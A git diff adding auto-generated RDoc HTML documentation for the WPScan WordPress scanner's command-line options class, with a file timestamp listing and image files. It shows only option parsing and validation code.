+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 189</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">get_opt_long</span>
+  <span class="ruby-constant">GetoptLong</span>.<span class="ruby-identifier">new</span>(
+      [<span class="ruby-string">&quot;--url&quot;</span>, <span class="ruby-string">&quot;-u&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--enumerate&quot;</span>, <span class="ruby-string">&quot;-e&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">OPTIONAL_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--username&quot;</span>, <span class="ruby-string">&quot;-U&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--wordlist&quot;</span>, <span class="ruby-string">&quot;-w&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--threads&quot;</span>, <span class="ruby-string">&quot;-t&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--force&quot;</span>, <span class="ruby-string">&quot;-f&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">NO_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--help&quot;</span>, <span class="ruby-string">&quot;-h&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">NO_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--verbose&quot;</span>, <span class="ruby-string">&quot;-v&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">NO_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--proxy&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">OPTIONAL_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--update&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">NO_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--follow-redirection&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">NO_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--wp-content-dir&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--wp-plugins-dir&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>],
+      [<span class="ruby-string">&quot;--config-file&quot;</span>, <span class="ruby-string">&quot;-c&quot;</span>, <span class="ruby-constant">GetoptLong</span><span class="ruby-operator">::</span><span class="ruby-constant">REQUIRED_ARGUMENT</span>]
+  )
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_opt_long-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_opt_long-method -->
+
+      
+        <div id="is_long_option-3F-method" class="method-detail ">
+          <a name="method-c-is_long_option-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_long_option?</span><span
+              class="method-args">(option)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="is_long_option-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 208</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">is_long_option?</span>(<span class="ruby-identifier">option</span>)
+  <span class="ruby-constant">ACCESSOR_OPTIONS</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">:&quot;#{WpscanOptions.clean_option(option)}&quot;</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_long_option-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_long_option-3F-method -->
+
+      
+        <div id="option_to_instance_variable_setter-method" class="method-detail ">
+          <a name="method-c-option_to_instance_variable_setter"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">option_to_instance_variable_setter</span><span
+              class="method-args">(option)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="option_to_instance_variable_setter-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 222</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">option_to_instance_variable_setter</span>(<span class="ruby-identifier">option</span>)
+  <span class="ruby-identifier">cleaned_option</span> = <span class="ruby-constant">WpscanOptions</span>.<span class="ruby-identifier">clean_option</span>(<span class="ruby-identifier">option</span>)
+  <span class="ruby-identifier">option_syms</span> = <span class="ruby-constant">ACCESSOR_OPTIONS</span>.<span class="ruby-identifier">grep</span>(<span class="ruby-node">%{^#{cleaned_option}}</span>)
+
+  <span class="ruby-identifier">option_syms</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">?</span> <span class="ruby-value">:&quot;#{option_syms.at(0)}=&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">nil</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- option_to_instance_variable_setter-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- option_to_instance_variable_setter-method -->
+
+      
+      </div><!-- protected-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="enumerate_only_vulnerable_plugins-3D-method" class="method-detail ">
+          <a name="method-i-enumerate_only_vulnerable_plugins-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate_only_vulnerable_plugins=</span><span
+              class="method-args">(enumerate_only_vulnerable_plugins)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="enumerate_only_vulnerable_plugins-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 85</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">enumerate_only_vulnerable_plugins=</span>(<span class="ruby-identifier">enumerate_only_vulnerable_plugins</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">enumerate_only_vulnerable_plugins</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span> <span class="ruby-keyword">and</span> <span class="ruby-ivar">@enumerate_plugins</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-ivar">@enumerate_only_vulnerable_plugins</span> = <span class="ruby-identifier">enumerate_only_vulnerable_plugins</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate_only_vulnerable_plugins-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate_only_vulnerable_plugins-3D-method -->
+
+      
+        <div id="enumerate_only_vulnerable_themes-3D-method" class="method-detail ">
+          <a name="method-i-enumerate_only_vulnerable_themes-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate_only_vulnerable_themes=</span><span
+              class="method-args">(enumerate_only_vulnerable_themes)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="enumerate_only_vulnerable_themes-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 101</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">enumerate_only_vulnerable_themes=</span>(<span class="ruby-identifier">enumerate_only_vulnerable_themes</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">enumerate_only_vulnerable_themes</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span> <span class="ruby-keyword">and</span> <span class="ruby-ivar">@enumerate_themes</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;You can't enumerate themes and only vulnerable themes at the same time, please choose only one&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-ivar">@enumerate_only_vulnerable_themes</span> = <span class="ruby-identifier">enumerate_only_vulnerable_themes</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate_only_vulnerable_themes-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate_only_vulnerable_themes-3D-method -->
+
+      
+        <div id="enumerate_options_from_string-method" class="method-detail ">
+          <a name="method-i-enumerate_options_from_string"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate_options_from_string</span><span
+              class="method-args">(value)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Will set enumerate_* from the string value IE : if value = p! =&gt;
+:enumerate_only_vulnerable_plugins will be set to true multiple enumeration
+are possible : ‘up’ =&gt; :enumerate_usernames and :enumerate_plugins
+Special case for usernames, a range is possible : <a
+href="http://1-10">u</a> will enumerate usernames from 1 to 10</p>
+            
+
+            
+            <div class="method-source-code" id="enumerate_options_from_string-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 164</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">enumerate_options_from_string</span>(<span class="ruby-identifier">value</span>)
+  <span class="ruby-comment"># Usage of self is mandatory because there are overridden setters</span>
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">enumerate_only_vulnerable_plugins</span> = <span class="ruby-keyword">true</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/p!/</span>
+
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">enumerate_plugins</span> = <span class="ruby-keyword">true</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/p(?!!)/</span>
+
+  <span class="ruby-ivar">@enumerate_timthumbs</span> = <span class="ruby-keyword">true</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/t/</span>
+
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">enumerate_only_vulnerable_themes</span> = <span class="ruby-keyword">true</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/T!/</span>
+
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">enumerate_themes</span> = <span class="ruby-keyword">true</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/T(?!!)/</span>
+
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/u/</span>
+    <span class="ruby-ivar">@enumerate_usernames</span> = <span class="ruby-keyword">true</span>
+    <span class="ruby-comment"># Check for usernames range</span>
+    <span class="ruby-identifier">matches</span> = <span class="ruby-regexp">%{\[([\d]+)-([\d]+)\]}</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">value</span>)
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">matches</span>
+      <span class="ruby-ivar">@enumerate_usernames_range</span> = (<span class="ruby-identifier">matches</span>[<span class="ruby-value">1</span>].<span class="ruby-identifier">to_i</span><span class="ruby-operator">..</span><span class="ruby-identifier">matches</span>[<span class="ruby-value">2</span>].<span class="ruby-identifier">to_i</span>)
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate_options_from_string-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate_options_from_string-method -->
+
+      
+        <div id="enumerate_plugins-3D-method" class="method-detail ">
+          <a name="method-i-enumerate_plugins-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate_plugins=</span><span
+              class="method-args">(enumerate_plugins)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="enumerate_plugins-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 77</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">enumerate_plugins=</span>(<span class="ruby-identifier">enumerate_plugins</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">enumerate_plugins</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span> <span class="ruby-keyword">and</span> <span class="ruby-ivar">@enumerate_only_vulnerable_plugins</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-ivar">@enumerate_plugins</span> = <span class="ruby-identifier">enumerate_plugins</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate_plugins-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate_plugins-3D-method -->
+
+      
+        <div id="enumerate_themes-3D-method" class="method-detail ">
+          <a name="method-i-enumerate_themes-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate_themes=</span><span
+              class="method-args">(enumerate_themes)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="enumerate_themes-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 93</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">enumerate_themes=</span>(<span class="ruby-identifier">enumerate_themes</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">enumerate_themes</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span> <span class="ruby-keyword">and</span> <span class="ruby-ivar">@enumerate_only_vulnerable_themes</span> <span class="ruby-operator">===</span> <span class="ruby-keyword">true</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;You can't enumerate themes and only vulnerable themes at the same time, please choose only one&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-ivar">@enumerate_themes</span> = <span class="ruby-identifier">enumerate_themes</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate_themes-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate_themes-3D-method -->
+
+      
+        <div id="has_options-3F-method" class="method-detail ">
+          <a name="method-i-has_options-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_options?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="has_options-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 109</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_options?</span>
+  <span class="ruby-operator">!</span><span class="ruby-identifier">to_h</span>.<span class="ruby-identifier">empty?</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_options-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_options-3F-method -->
+
+      
+        <div id="proxy-3D-method" class="method-detail ">
+          <a name="method-i-proxy-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">proxy=</span><span
+              class="method-args">(proxy)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="proxy-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 69</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">proxy=</span>(<span class="ruby-identifier">proxy</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">proxy</span>.<span class="ruby-identifier">index</span>(<span class="ruby-string">':'</span>) <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;Invalid proxy format. Should be host:port.&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-ivar">@proxy</span> = <span class="ruby-identifier">proxy</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- proxy-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- proxy-3D-method -->
+
+      
+        <div id="set_option_from_cli-method" class="method-detail ">
+          <a name="method-i-set_option_from_cli"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">set_option_from_cli</span><span
+              class="method-args">(cli_option, cli_value)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>string cli_option : –url, -u, –proxy etc string cli_value : the option
+value</p>
+            
+
+            
+            <div class="method-source-code" id="set_option_from_cli-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 143</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">set_option_from_cli</span>(<span class="ruby-identifier">cli_option</span>, <span class="ruby-identifier">cli_value</span>)
+
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">WpscanOptions</span>.<span class="ruby-identifier">is_long_option?</span>(<span class="ruby-identifier">cli_option</span>)
+    <span class="ruby-keyword">self</span>.<span class="ruby-identifier">send</span>(
+        <span class="ruby-constant">WpscanOptions</span>.<span class="ruby-identifier">option_to_instance_variable_setter</span>(<span class="ruby-identifier">cli_option</span>),
+        <span class="ruby-identifier">cli_value</span>
+    )
+  <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">cli_option</span> <span class="ruby-operator">===</span> <span class="ruby-string">&quot;--enumerate&quot;</span> <span class="ruby-comment"># Special cases</span>
+                                     <span class="ruby-comment"># Default value if no argument is given</span>
+    <span class="ruby-identifier">cli_value</span> = <span class="ruby-string">&quot;T!tup!&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">cli_value</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
+
+    <span class="ruby-identifier">enumerate_options_from_string</span>(<span class="ruby-identifier">cli_value</span>)
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Unknow option : #{cli_option} with value #{cli_value}&quot;</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- set_option_from_cli-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- set_option_from_cli-method -->
+
+      
+        <div id="threads-3D-method" class="method-detail ">
+          <a name="method-i-threads-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">threads=</span><span
+              class="method-args">(threads)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="threads-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 57</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">threads=</span>(<span class="ruby-identifier">threads</span>)
+  <span class="ruby-ivar">@threads</span> = <span class="ruby-identifier">threads</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Integer</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">threads</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">threads</span>.<span class="ruby-identifier">to_i</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- threads-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- threads-3D-method -->
+
+      
+        <div id="to_h-method" class="method-detail ">
+          <a name="method-i-to_h"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">to_h</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return Hash</p>
+            
+
+            
+            <div class="method-source-code" id="to_h-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 114</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">to_h</span>
+  <span class="ruby-identifier">options</span> = {}
+
+  <span class="ruby-constant">ACCESSOR_OPTIONS</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">option</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">instance_variable</span> = <span class="ruby-identifier">instance_variable_get</span>(<span class="ruby-node">&quot;@#{option}&quot;</span>)
+
+    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">instance_variable</span>.<span class="ruby-identifier">nil?</span>
+      <span class="ruby-identifier">options</span>[<span class="ruby-value">:&quot;#{option}&quot;</span>] = <span class="ruby-identifier">instance_variable</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">options</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- to_h-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- to_h-method -->
+
+      
+        <div id="url-3D-method" class="method-detail ">
+          <a name="method-i-url-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">url=</span><span
+              class="method-args">(url)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="url-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 51</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">url=</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;Empty URL given&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">url</span>
+
+  <span class="ruby-ivar">@url</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">add_http_protocol</span>(<span class="ruby-identifier">url</span>)).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- url-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- url-3D-method -->
+
+      
+        <div id="wordlist-3D-method" class="method-detail ">
+          <a name="method-i-wordlist-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">wordlist=</span><span
+              class="method-args">(wordlist)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="wordlist-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 61</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">wordlist=</span>(<span class="ruby-identifier">wordlist</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">wordlist</span>)
+    <span class="ruby-ivar">@wordlist</span> = <span class="ruby-identifier">wordlist</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;The file #{wordlist} does not exist&quot;</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- wordlist-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- wordlist-3D-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/created.rid b/doc/created.rid
new file mode 100644
index 00000000..9eb437d9
--- /dev/null
+++ b/doc/created.rid
@@ -0,0 +1,43 @@
+Mon, 24 Sep 2012 23:03:20 +0200
+./CREDITS	Mon, 17 Sep 2012 20:18:24 +0200
+./Gemfile	Sat, 22 Sep 2012 00:14:07 +0200
+./lib/browser.rb	Sat, 22 Sep 2012 15:51:15 +0200
+./lib/cache_file_store.rb	Sat, 22 Sep 2012 15:00:03 +0200
+./lib/common_helper.rb	Sat, 22 Sep 2012 16:08:50 +0200
+./lib/environment.rb	Sat, 22 Sep 2012 09:22:22 +0200
+./lib/updater/git_updater.rb	Sat, 15 Sep 2012 08:00:23 +0200
+./lib/updater/svn_updater.rb	Sat, 22 Sep 2012 15:04:12 +0200
+./lib/updater/updater.rb	Sat, 15 Sep 2012 08:00:40 +0200
+./lib/updater/updater_factory.rb	Sat, 15 Sep 2012 08:00:46 +0200
+./lib/wpscan/exploit.rb	Fri, 21 Sep 2012 23:23:55 +0200
+./lib/wpscan/modules/brute_force.rb	Sat, 22 Sep 2012 00:10:17 +0200
+./lib/wpscan/modules/malwares.rb	Sat, 22 Sep 2012 15:01:32 +0200
+./lib/wpscan/modules/web_site.rb	Sat, 22 Sep 2012 16:18:55 +0200
+./lib/wpscan/modules/wp_config_backup.rb	Sat, 22 Sep 2012 15:01:32 +0200
+./lib/wpscan/modules/wp_full_path_disclosure.rb	Sat, 15 Sep 2012 08:01:17 +0200
+./lib/wpscan/modules/wp_login_protection.rb	Sun, 23 Sep 2012 19:38:40 +0200
+./lib/wpscan/modules/wp_plugins.rb	Sun, 23 Sep 2012 20:20:17 +0200
+./lib/wpscan/modules/wp_readme.rb	Sat, 15 Sep 2012 08:01:52 +0200
+./lib/wpscan/modules/wp_themes.rb	Sun, 23 Sep 2012 19:41:17 +0200
+./lib/wpscan/modules/wp_timthumbs.rb	Sun, 23 Sep 2012 19:40:38 +0200
+./lib/wpscan/modules/wp_usernames.rb	Sat, 22 Sep 2012 15:01:32 +0200
+./lib/wpscan/msfrpc_client.rb	Fri, 21 Sep 2012 23:32:27 +0200
+./lib/wpscan/vulnerable.rb	Sat, 22 Sep 2012 21:23:01 +0200
+./lib/wpscan/wp_detector.rb	Sun, 23 Sep 2012 19:40:56 +0200
+./lib/wpscan/wp_enumerator.rb	Sun, 23 Sep 2012 22:46:23 +0200
+./lib/wpscan/wp_item.rb	Sun, 23 Sep 2012 21:47:56 +0200
+./lib/wpscan/wp_options.rb	Sun, 23 Sep 2012 19:35:16 +0200
+./lib/wpscan/wp_plugin.rb	Sun, 23 Sep 2012 19:59:17 +0200
+./lib/wpscan/wp_target.rb	Mon, 24 Sep 2012 22:32:05 +0200
+./lib/wpscan/wp_theme.rb	Sun, 23 Sep 2012 19:56:18 +0200
+./lib/wpscan/wp_user.rb	Sat, 22 Sep 2012 16:12:25 +0200
+./lib/wpscan/wp_version.rb	Mon, 24 Sep 2012 18:06:00 +0200
+./lib/wpscan/wp_vulnerability.rb	Sat, 22 Sep 2012 16:11:58 +0200
+./lib/wpscan/wpscan_helper.rb	Sun, 23 Sep 2012 23:14:35 +0200
+./lib/wpscan/wpscan_options.rb	Sat, 22 Sep 2012 15:01:32 +0200
+./lib/wpstools/generate_list.rb	Sat, 22 Sep 2012 16:10:07 +0200
+./lib/wpstools/parse_svn.rb	Sat, 22 Sep 2012 16:10:30 +0200
+./lib/wpstools/wpstools_helper.rb	Sat, 22 Sep 2012 15:00:03 +0200
+./README	Thu, 13 Sep 2012 22:54:08 +0200
+./wpscan.rb	Mon, 24 Sep 2012 22:53:35 +0200
+./wpstools.rb	Sat, 22 Sep 2012 14:59:30 +0200
diff --git a/doc/images/brick.png b/doc/images/brick.png
new file mode 100644
index 00000000..7851cf34
Binary files /dev/null and b/doc/images/brick.png differ
diff --git a/doc/images/brick_link.png b/doc/images/brick_link.png
new file mode 100644
index 00000000..9ebf013a
Binary files /dev/null and b/doc/images/brick_link.png differ
diff --git a/doc/images/bug.png b/doc/images/bug.png
new file mode 100644
index 00000000..2d5fb90e
Binary files /dev/null and b/doc/images/bug.png differ
diff --git a/doc/images/bullet_black.png b/doc/images/bullet_black.png
new file mode 100644
index 00000000..57619706
Binary files /dev/null and b/doc/images/bullet_black.png differ
diff --git a/doc/images/bullet_toggle_minus.png b/doc/images/bullet_toggle_minus.png
new file mode 100644
index 00000000..b47ce55f
Binary files /dev/null and b/doc/images/bullet_toggle_minus.png differ
diff --git a/doc/images/bullet_toggle_plus.png b/doc/images/bullet_toggle_plus.png
new file mode 100644
index 00000000..9ab4a896
Binary files /dev/null and b/doc/images/bullet_toggle_plus.png differ
diff --git a/doc/images/date.png b/doc/images/date.png
new file mode 100644
index 00000000..783c8335
Binary files /dev/null and b/doc/images/date.png differ
diff --git a/doc/images/find.png b/doc/images/find.png
new file mode 100644
index 00000000..15474796
Binary files /dev/null and b/doc/images/find.png differ
diff --git a/doc/images/loadingAnimation.gif b/doc/images/loadingAnimation.gif
new file mode 100644
index 00000000..82290f48
Binary files /dev/null and b/doc/images/loadingAnimation.gif differ
